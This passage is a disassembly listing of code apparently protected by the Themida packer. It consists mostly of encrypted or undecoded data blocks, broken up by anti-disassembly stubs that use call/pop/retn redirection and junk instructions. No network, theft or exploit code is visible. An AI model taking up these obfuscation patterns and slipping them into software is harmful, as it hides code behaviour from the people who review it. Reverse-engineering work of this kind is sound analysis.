		dd 1B0424h, 55450000h, 0DDE4D1C3h, 0EE305AB3h, 119BBB66h
		dd 509029CFh, 0DE9h, 55430300h,	14984F24h, 31F11A9Bh, 0FF902404h
		dd 14093995h, 0F98B6606h, 0DD9E9h, 0E800h, 815D0000h, 187E8BEDh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0A7160F0Ah, 6E91AE8h, 90000000h,	81207C2h
		dd 74DB81E9h, 8D2360ECh, 17962385h, 25BD8B06h, 90061416h
		dd 504CBB66h, 0D85EBF50h, 6A903C6Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0B96BC357h
		dd 4C1F769Ah, 0D9D233Eh, 6406140Bh, 35FFh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 48A7B6C3h, 868D2E1Fh, 25896441h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_590B1F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590B1F	proc near		; CODE XREF: Themida_:00590B17p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_590B1F	endp

; ---------------------------------------------------------------------------
		db 0C9h
		dd 44DF7865h, 563153DDh, 0E102D4BFh, 6D85FF2Bh,	89061423h
		dd 141B51BDh, 6AFF6A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 52B8C355h, 5BA5ABEBh
		dd 1141BD0Bh, 0B5FF0614h, 61406A5h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0FAC35040h,	1995FFD9h, 0E906142Bh
		dd 117h, 1109BD33h, 0B00614h, 10E9h, 0AA48EC00h, 933E2379h
		dd 6E764B01h, 9652051Eh, 8B70E6D2h, 142529BDh, 8971E406h
		dd 14039985h, 0F613C06h, 0E283h, 98C0F00h, 0F000000h, 38Fh
		dd 0FEBF0F00h, 0FC8B60Fh, 287h,	0BAFB8B00h, 6, 8B5AB3F8h
		dd 0C1FE8AC1h, 0F76604E8h, 0D9D8BE2h, 2B06140Ah, 0B59D8BC8h
		dd 8B061406h, 9DBD31D1h, 0E906140Fh, 0Ah, 61E4B560h, 2B6D9D29h
		dd 858B0614h, 6142A29h,	16F59D8Bh, 0C0830614h, 0D950107h
		dd 8306140Fh, 8D8900C0h, 614033Dh, 830FD03Bh, 0Ch, 65E9F5h
		dd 0BD290000h, 6142F0Dh, 1AC98D8Bh, 8B660614h, 0BD8B60FAh
		dd 6140CA5h, 15B678BBh,	0E1836120h, 40840F01h, 8B000000h
		dd 0C9A583FAh, 0FE06141Ah, 99B58B60h, 0F061425h, 282h
		dd 61FE8B00h, 2A299589h, 8B0F0614h, 6, 0A0D9D8Bh, 0BE90614h
		dd 10000000h, 68A1506Eh, 7BCE50B5h, 0E9AC6Bh, 8D000000h
		dd 17EE94B5h, 1BC7BF06h, 6A5B87h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 60C35343h, 405A6366h, 0BB27CEC4h
		dd 53E21416h, 30F99589h, 95FF0614h, 6141169h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 77C35747h, 20AEFBC5h
		dd 86646E9Ch, 96FB98Ah,	81660000h, 83BB86C3h, 6AFCE1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 91DC40C3h, 802570E6h, 9529BCC0h, 6141A95h, 0FCDEBF0Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 63C35242h
		dd 0FE418F1h, 38Ch, 0D98B6600h,	30799D89h, 0C02B0614h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5EC35040h
		dd 8CE6A55Ch, 0FFF68CFEh, 2B69BD89h, 0D22B0614h, 1A25BD89h
		dd 33AD0614h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 11E98EC3h
		dd 0AD000000h, 0E8610B39h, 26BB8444h, 974D01BDh, 1D15F54Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DAC35747h
		dd 57DB0771h, 6066CF34h, 79BD0B4Fh, 66061430h, 33C8E781h
		dd 880Dh, 958BF900h, 6143229h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0C1C35040h,	0E8FA8B15h, 0Fh
		dd 0FFF91F09h, 65361803h, 9932B29Fh, 8116B9EFh,	17B2B1D7h
		dd 8D8B5B5Dh, 614064Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 42C35747h, 89F4B7A8h,	140781B5h, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8B61C357h, 1403359Dh, 0BD83FC06h, 61429ADh, 6C840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0B820C356h, 1EDE222Bh,	9D3353B5h
		dd 6140A49h, 0A71FBF5Bh, 0B802FEh, 8D000000h, 144D798Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BD8B89BCh, 6143209h, 8E9E1FFh, 0C000000h
		dd 3CE1B55Bh, 83C22FE2h, 142671BDh, 840F0006h, 439h, 0BD9BD8Bh
		dd 6DBF0614h, 83298F1Fh, 142671BDh, 840F0106h, 43Ch, 83D8B70Fh
		dd 142671BDh, 860F0306h, 3F6h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 9BC35141h, 0B23A56A3h, 0DE9DFh
		dd 0EF840000h, 0B716DFBAh, 2FFF222h, 60FB2137h,	2A619D8Bh
		dd 0F3810614h, 331F529Bh, 6AD98C66h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0E8DC350h
		dd 6E880h, 14FC0000h, 0E044842Fh, 5A0CBF66h, 93C7805Bh
		dd 6604E180h, 0ABFE9BBh, 64840FC9h, 66000001h, 858BFA8Bh
		dd 6141969h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0A9C35141h, 6DB9A40Eh, 81985A8Bh, 0D4E195D7h, 0DBD8B6Dh
		dd 3306142Ah, 141B8185h, 9D8B5006h, 61421BDh, 6650905Bh
		dd 6A90D88Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 9FC2C355h, 50527A09h, 2C419D8Bh
		dd 895F0614h, 140055BDh, 6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F25C357h
		dd 38Bh, 0E8CF8000h, 0D113F768h, 0EE99Ah, 0ACED0000h, 15DCA483h
		dd 6BEF5BFEh, 0BE9585A0h, 8240481h, 6A654DF0h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0FB80C355h, 494FBBDBh, 0F0F7CA3h, 68Ah, 64D38100h, 8965FBF2h
		dd 1431A995h, 459D8906h, 0FF061408h, 1409AD95h,	81BD8B06h
		dd 89061405h, 17AA9885h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 58D0F37h, 66000000h, 0E1AECB81h
		dd 194E9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 2B6499B9h, 8010A5DEh, 816622D7h
		dd 8BE0ADD7h, 17AA9085h, 0DB816606h, 0C72C38h, 18h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 19C35646h, 7B27D6C9h
		dd 880F4392h, 6, 8259589h, 8BF50614h, 17AA94B5h, 0F7816606h
		dd 858BFACAh, 6140B29h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 5FC35040h, 0FBBCE79Bh, 9DBD8BC7h, 8906141Ch
		dd 0EB816606h, 858B819Ah, 6141969h, 89044689h, 14042D9Dh
		dd 840F9606h, 0
; ---------------------------------------------------------------------------
		push	eax
		jns	loc_591207
		ja	loc_591207
		push	ebx
		pop	ebx


loc_591207:				; CODE XREF: Themida_:005911F9j
					; Themida_:005911FFj
		xchg	eax, esi
		mov	[ebp+61434BDh],	ebx
		push	dword ptr [ebp+617AA90h]
		sub	edi, 5F90C2F2h
		push	0F6F55032h
		mov	di, 83C1h
		add	dword ptr [esp], 929B3CDh
		adc	di, 0F381h
		lea	eax, [ebp+617AA98h]
		push	0
		push	ebp
		call	sub_591240
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591240	proc near		; CODE XREF: Themida_:00591238p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_591240	endp

; ---------------------------------------------------------------------------
		dd 0C15ACAE6h, 2582DF06h, 14B1B531h, 0E8500614h, 10h, 8139130Ch
		dd 523E80C3h, 97AE0821h, 0F5D0F9B6h, 7E9h, 0B2B82100h
		dd 0FC9B0645h, 2404895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0EDC35646h, 3830F2Eh,	66000000h, 95FFD98Bh
		dd 61409ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	52C35747h, 0BD896190h, 61412EDh, 0C5EA12BFh, 7185C746h
		dd 3061426h, 0BF000000h, 2411652Fh, 6860Fh, 9D030000h
		dd 614319Dh, 0AA98BD83h, 0F000617h, 7184h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 8276C749h, 9E93C16h,	8000000h, 0E8D260Bh, 0F74A5380h
		dd 58E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 394F2B03h, 0DE7BF305h, 14E9F5h, 0AF010000h
		dd 4DE17498h, 735F9B77h, 33F81767h, 18E3B631h, 3050EA16h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 0A18D89C0h, 0E8061423h, 9, 0F2E33005h, 2F1D9AD6h, 14E937h
		dd 0FF150000h, 0C0EDB50Fh, 85A17723h, 6B829D9Ch, 0AE4CAF35h
		dd 605BFDB3h, 12D1958Bh, 83610614h, 142671BDh, 850F0306h
		dd 402h, 37DBB66h, 0AA98BD83h, 0F000617h, 3F184h, 0C18B6000h
		dd 0C299501h, 0FF610614h, 17AA98B5h, 2D9D8B06h,	0FF061408h
		dd 142AF595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 172F7D17h, 9D8951F0h, 6140EA1h, 8CB58B5Fh
		dd 6A0617AAh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0CBA9C356h, 0D20702AFh, 0CD8589DEh
		dd 0C7061408h, 1000106h, 0B1BD8900h, 50061409h,	9E9h, 477A0C00h
		dd 896E7BE3h, 34892FF5h, 50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0E7971527h, 1D9D8B38h
		dd 0FF061415h, 17AA98B5h, 1D9D8B06h, 0FF061432h, 140B3195h
		dd 58C0F06h, 66000000h,	0A00BE381h, 0AA8CB58Bh,	6A0617h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 880F7DC3h, 6, 9F19D33h, 858B0614h, 61421D5h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D8C35545h, 730CBB7Ah
		dd 898BB702h, 140A7D95h, 0C4868906h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 576AC357h, 0F56502Dh, 958BF8B7h, 6143229h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2FC35646h, 68286FF9h
		dd 835AB782h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 14E67DC3h, 85225059h, 0D88B929Fh
		dd 7E9h, 4F049200h, 0A307C978h,	6A205089h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 5FF9C357h
		dd 0CE9h, 0D509E000h, 0D451F573h, 85C07F17h, 3880FF5h
		dd 0F000000h, 858DDAB7h, 617BE06h, 1BDBD33h, 86890614h
		dd 0B8h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0B7C35242h, 6AA5D88Eh, 0AAD96CBCh, 153DB501h, 6A0614h
		dd 0F2DB589h, 0B5FF0614h, 617AA98h, 3995FFF5h, 6A061409h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 2C42C350h, 0A8F3E4BFh, 50F88B96h,	10E8h
		dd 5BE0C900h, 7101F939h, 7FF3C99Ch, 828E018Ch, 0DE83Eh
		dd 72290000h, 9AA588C5h, 1B95900Ah, 57B72977h, 965F5B5Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E1C35343h
		dd 18439874h, 0B8E0F76h, 0E9000000h, 6,	8C09B948h, 0B5FF9DEBh
		dd 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	77C35141h, 1D00A178h, 0AEDBD8Bh, 95FF0614h, 61420F5h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0B0C35040h
		dd 0CE8C565Dh, 459D2BFFh, 8306140Ch, 140C21BDh,	840F0006h
		dd 15h,	2BBDBD89h, 0BB960614h, 213933F1h, 96FB8B50h, 4CE38166h
		dd 98B5FF7Bh, 0B0617AAh, 1410AD9Dh, 0B195FF06h,	6A061402h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 76A7C352h, 2AA04AA2h, 6658EFB2h, 0B5FFD98Bh
		dd 617AA98h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	63C35545h, 17C4A772h, 14A4A4BFh, 8195FF26h, 0E8061430h
		dd 13h,	82AC9664h, 0FF854224h, 80D8033Fh, 0A2FB393Dh, 2BB3C05Dh
		dd 1421B19Dh, 0BD835B06h, 61409F5h, 0B840F02h, 0FC000000h
		dd 2D01858Bh, 0C6F50614h, 85C70000h, 614244Dh, 0
		dd 18A9B589h, 3AE90614h, 6AFFFFF3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6004C355h
		dd 0B5CF593Dh, 16258589h, 0C18B0614h, 0B9BD8Bh,	858D0614h
		dd 6140F99h, 1FC9BD8Bh,	0E8500614h, 6, 9A11AA50h, 8B66B05Eh
		dd 4895FDAh, 8E924h, 0B1440000h, 4C2658D2h, 6AD497h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A9C35747h, 0D30AEFD4h
		dd 0B7995D45h, 8B006A7Fh, 1425859Dh, 0C5858D06h, 0BB06188Dh
		dd 5BC3C022h, 8B05C083h, 1425F5BDh, 66609006h, 5769BBBAh
		dd 8A0Fh, 615B0000h, 0BD339050h, 6141091h, 9529006Ah, 614200Dh
		dd 8589006Ah, 6142281h,	1A7195FFh, 0BD8B0614h, 6142185h
		dd 0A8FC8D8Dh, 6A0617h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 81069BC3h, 94316192h, 0D1FFA5DCh
		dd 8E9h, 0CA926000h, 8152DE4Eh,	0CDBD8326h, 1061412h, 7E850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 7B6CF6C3h, 0D7F38061h, 0F50026Ah,	905BFBBFh
		dd 13E9h, 0F3DCDA00h, 6E136B20h, 45AD0091h, 0B0370BB7h
		dd 0F4CDF5F7h, 0AE950h,	0E63C0000h, 1BF32575h, 4B2013E5h
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0FDBF8C93h, 0FF27AAFDh, 14093995h, 0D4E38006h
		dd 0D69E9h
		db 0
; ---------------------------------------------------------------------------


loc_5919A9:				; DATA XREF: Themida_:0054AE60o
		call	$+5
		pop	ebp
		sub	ebp, 6188DCFh
		push	0
		push	esi
		call	sub_5919C0
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5919C0	proc near		; CODE XREF: Themida_:005919B8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5919C0	endp

; ---------------------------------------------------------------------------
		sub	ecx, cs:[eax]
		mov	[esi-41h], ah
		inc	ebx
		lea	ebp, [edx+0]
		push	edi
		call	sub_5919E3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5919E3	proc near		; CODE XREF: Themida_:005919DBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5919E3	endp

; ---------------------------------------------------------------------------
		db 43h
		dd 0E9630B73h, 6, 41678D49h, 858DADF8h,	6179623h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F9C35747h, 219D8BABh
		dd 9006141Ah, 0FE9h, 0C6359000h, 0BE92941h, 0C1661E31h
		dd 0C091AE9Ah, 0FA8B6650h, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BD8BFBBBh
		dd 6140C55h, 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 403FC350h, 64C67673h
		dd 2589h, 0EB800000h, 0BD0B57EAh, 6142395h, 6D85FF5Bh
		dd 33061423h, 1403499Dh, 6AFF6A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 2062C351h
		dd 0D8DF1CC0h, 619D8B5Ch, 0FF061408h, 1402E1B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0E02A5EB4h, 0EA84BB66h, 2B1995FFh, 0DFE90614h, 0B0000000h
		dd 0CD9D2900h, 0E6061418h, 0F9B70F70h, 0BE871E4h, 0DB000000h
		dd 6E25D64h, 0CD0E30BAh, 0C381B7FFh, 6BC942EAh,	0F613C5Fh
		dd 0B183h, 18BB6600h, 0C8B60F02h, 6BAh,	80C18B00h, 0E8C168C3h
		dd 58C0F04h, 0BF000000h, 23B8BE28h, 8BE2F766h, 142041BDh
		dd 31C82B06h, 1424E58Dh, 66D18B06h, 11E9FA8Bh, 31000000h
		dd 142429BDh, 958B6006h, 614109Dh, 61C38B66h, 6C1858Bh
		dd 8B660614h, 7C083DFh,	8900C083h, 1400B595h, 0FD03B06h
		dd 783h, 0E9FD8A00h, 42h, 0E2D8D8Bh, 0CB810614h, 61131BBAh
		dd 0F01E183h, 2D84h, 0E58D8900h, 8B061423h, 1408C5BDh
		dd 2DA58306h, 0FE06140Eh, 0F4CB8166h, 0C1958932h, 0F061406h
		dd 486h, 0B4BB6600h, 0E96Eh, 0B58D0000h, 617F9FFh, 0C006BF66h
		dd 0D7BF006Ah, 0FF09E893h, 14116995h, 0B9FE8A06h, 88Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DEC35646h
		dd 2746B000h, 8E941ABh,	0ED000000h, 0D804353Eh,	0F0DBF4Bh
		dd 0E183D8B7h, 0EDBD89FCh, 0FC061434h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 87C35646h, 0B9AF283Ch, 0D4CB8056h
		dd 0BE9h, 96CACA00h, 5825B8FAh,	0C14493D3h, 6AC02Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 4975B2C3h, 830FFC09h, 13h, 0BE8h, 0BC2AA200h, 436640ACh
		dd 6E66B54Eh, 2B5F5B52h, 0C233ADD2h, 0D003E8D1h, 7504E983h
		dd 57006AF4h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0BA36A7C4h, 5D606440h, 0DF96306h, 88h, 12E8h
		dd 0B7CB1100h, 160879C1h, 90CAF4DAh, 0A47804D5h, 5176E8F3h
		dd 0D2D78166h, 8B5F5F34h, 14322995h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 88AA21A4h
		dd 0EF816620h, 8D8B9FE4h, 614064Dh, 0FE9h, 1188B100h, 11BC0568h
		dd 0B3E12214h, 808BA33Eh, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 0B70F5818h, 0F9BF0FFFh, 29ADBD83h, 0F000614h
		dd 9584h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 85E7DA3Bh, 95CA4382h, 13E8CA0Dh
		dd 0DE000000h, 9A3DD322h, 48F0B132h, 135AAC4Eh,	9B96CD2Fh
		dd 0B85F11ACh, 0
; ---------------------------------------------------------------------------
		mov	ebx, 334D4BCDh
		lea	ecx, [ebp+6144D79h]
		jnz	loc_591DDD
		jmp	loc_591DDD
; ---------------------------------------------------------------------------
		dw 7A83h
		dd 804D6034h, 76F86458h, 744B92Dh
		db 74h
; ---------------------------------------------------------------------------


loc_591DDD:				; CODE XREF: Themida_:00591DC3j
					; Themida_:00591DC9j
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_591DEA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591DEA	proc near		; CODE XREF: Themida_:00591DE2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_591DEA	endp

; ---------------------------------------------------------------------------
		dw 0C162h
		dd 0CA276FFEh, 1C5C541h, 207D9D8Bh, 0BD830614h,	6142671h
		dd 3F840F00h, 6A000004h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 7605C351h, 71BD8370h
		dd 1061426h, 42F840Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 24DD07C3h, 6FBF6657h
		dd 71BD8381h, 3061426h,	3C9860Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0D49C86C3h
		dd 5CE4CAB0h, 0E960A4ABh, 10h, 6CF4E4E2h, 0E0B90171h, 0DD07536Bh
		dd 5C375724h, 8BD98C66h, 140BD1BDh, 4E18006h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0CAC35040h, 0C90AE3AAh
		dd 198840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 8F8623C3h, 2957D983h, 140D199Dh
		dd 69858B06h, 6A061419h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 66CDC352h, 6EAFE381h
		dd 1B818533h, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 4E294CC3h, 0A51E0E83h, 0FBF6650h
		dd 240489F5h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 17h,	69C35343h, 0BFAE33FFh, 798590B0h, 9589006Ah, 614198Dh
		dd 4E8h, 1F03FF00h, 6E96000h, 29000000h, 2D186079h, 0DE8DBh
		dd 7980000h, 0B5CB7F48h, 0D7E21451h, 0E84F2183h, 0Bh, 147985ECh
		dd 0AF25198Ah, 5BC2B03Ch, 0F50615Bh, 68Ah, 0BB665600h
		dd 8B5B2D0Bh, 0E9042444h, 11h, 982313AEh, 66BF1E88h, 0BED0E10h
		dd 8F5ED315h, 50008B4Bh, 0A8B4BB52h, 310F0DFFh,	6880Fh
		dd 860F0000h, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		mov	[esp+4], eax
		jmp	loc_59201B
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------
		dec	esi
		mov	word ptr [esi],	fs
		mov	ah, cl
		retn
; ---------------------------------------------------------------------------
		dw 9E1Dh
		dd 76AACFC8h
		db 0EFh, 0DCh, 0F6h
; ---------------------------------------------------------------------------


loc_59201B:				; CODE XREF: Themida_:00592006j
		pop	eax
		push	0
		push	ebp
		call	sub_592027
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592027	proc near		; CODE XREF: Themida_:0059201Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_592027	endp

; ---------------------------------------------------------------------------
		sub	[ebx+142AB9BDh], ecx
		push	es
		call	dword ptr [ebp+61409ADh]
		mov	[ebp+61431A5h],	edx
		mov	[ebp+617AA98h],	eax
		push	0
		push	eax
		call	sub_59205B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59205B	proc near		; CODE XREF: Themida_:00592053p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_59205B	endp

; ---------------------------------------------------------------------------
		db 1Ch
; ---------------------------------------------------------------------------
		jmp	loc_59219A
; ---------------------------------------------------------------------------
		mov	edi, edx
		mov	bx, dx
		mov	eax, [ebp+617AA90h]
		mov	[ebp+6142661h],	edx
		mov	dword ptr [eax], 18h
		push	0
		push	esi
		call	sub_592093
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_592093	proc near		; CODE XREF: Themida_:0059208Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_592093	endp

; ---------------------------------------------------------------------------
		not	byte ptr [ebx+ecx*4-4Bh]
		xchg	eax, esp
		stosb
		pop	ss
		push	es
		push	0
		push	ebp
		call	sub_5920B6
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5920B6	proc near		; CODE XREF: Themida_:005920AEp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5920B6	endp

; ---------------------------------------------------------------------------
		dw 3F13h
		dd 89E5EAF7h, 1420D9BDh, 29858B06h, 6006140Bh, 0ED5B589h
		dd 8D010614h, 61402DDh,	0B3068961h, 69858BBBh, 0F061419h
		dd 10E8FFB7h, 3A000000h, 20D1A785h, 0AE6B6D99h,	0C5AE8610h
		dd 8B1538FCh, 46895FF9h, 0D5B50104h, 50061420h,	89F98B66h
		dd 10E82434h, 6A000000h, 581D2D12h, 3C5D26DBh, 6C53225Eh
		dd 8BDF6AC6h, 14081DBDh, 0CB805F06h, 90B5FF01h,	0BF0617AAh
		dd 29051AAAh, 23159D8Bh, 4E680614h, 500C3FA8h, 29BF6652h
		dd 0B3310FDBh, 81585A9Ch, 0ABB12434h, 8D310C20h, 61412D1h
		dd 0AA98858Dh, 0B5890617h, 61403C5h, 0F525050h,	681h, 0F525000h
		dd 0F585A31h, 3BBF6631h, 89585A67h, 85892404h, 6142615h
		dd 9AD95FFh
; ---------------------------------------------------------------------------
		adc	al, 6


loc_59219A:				; CODE XREF: Themida_:0059206Cj
		popa
		pusha
		mov	[ebp+61415FDh],	edx
		popa
		mov	dword ptr [ebp+6142671h], 3
		push	0
		push	ebp


loc_5921B0:				; DATA XREF: Themida_:0054B760o
		call	sub_5921B8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5921B8	proc near		; CODE XREF: Themida_:loc_5921B0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5921B8	endp

; ---------------------------------------------------------------------------
		dd 7D19F2ACh, 0F0BF5831h, 98BD8396h, 617AAh, 5D840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 575803C3h, 40B9DF81h, 0E95B422Eh, 4Eh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 0A8C35141h, 8F0F39AFh
		dd 0Fh,	9E8h, 53575000h, 35AB9B73h, 505FA5EFh, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
